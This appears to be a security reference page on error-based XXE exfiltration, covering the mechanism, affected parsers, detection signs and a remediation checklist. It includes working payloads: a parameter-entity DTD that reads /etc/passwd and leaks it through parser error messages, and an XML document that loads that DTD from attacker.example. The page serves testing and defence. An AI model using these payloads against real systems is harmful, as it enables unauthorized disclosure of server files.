Skip to content
high

Error-based XXE exfiltration

Error-based XXE exfiltration leaks data when there is no out-of-band channel: you craft parameter entities so the target file's contents are placed inside an invalid SYSTEM path, and the parser's verbose error message quotes that path — file contents and all — straight back in the HTTP response.

Target formats
Plain XMLSOAP
Affected parsers
Java Xerces (verbose errors)PHP libxmlPython lxml
Impact
Blind file disclosureData exfiltration

How it works

If the application does not reflect entity values but does return XML parser error messages, those errors become the channel. You build an entity whose SYSTEM identifier is a non-existent path that embeds the contents of a read file entity.

When the parser tries to resolve that bogus path, it fails and reports an error like "failed to load external entity file:///nonexistent/<file contents>" — leaking the file in the error text itself.

Which parser configuration makes it work

Requires parameter entities and a parser that surfaces detailed resource-resolution errors to the user. It works in-band, so it is the go-to when outbound network from the server is blocked but errors are verbose.

Representative payloads

Replace callback hosts and target paths with your own authorized test values.

Remote evil.dtd that exfiltrates via error
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Document referencing the DTD
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.example/error.dtd">
  %xxe;
]>
<foo>trigger</foo>

Detection

As a tester, trigger a resolution error and read the returned error string for file contents. As a defender, treat any XML parse error that is returned to the client as a leak vector; check whether error responses contain unexpected text (paths, file fragments) and whether error verbosity is enabled in production.

  • Parser error messages returned verbatim to the client
  • Error text containing fragments of local files or /etc paths
  • Nested parameter-entity declarations in request bodies

Remediation

Disable DOCTYPE/DTD processing so the error channel never forms. In addition, never return raw XML parser errors to the client — catch parse exceptions and return a generic message, logging details server-side only. Turn off verbose/debug error output in production. As with blind XXE, if a DTD is genuinely required you must disable external parameter entities and external DTD loading, not just general entities.

Fix checklist

  • Reject DOCTYPE declarations (primary fix)
  • Catch parse errors and return a generic message; log details server-side
  • Disable debug/verbose error output in production
  • Disable external parameter entities and external DTD loading

Parser-specific configuration: Java, PHP, Python.

Related techniques

References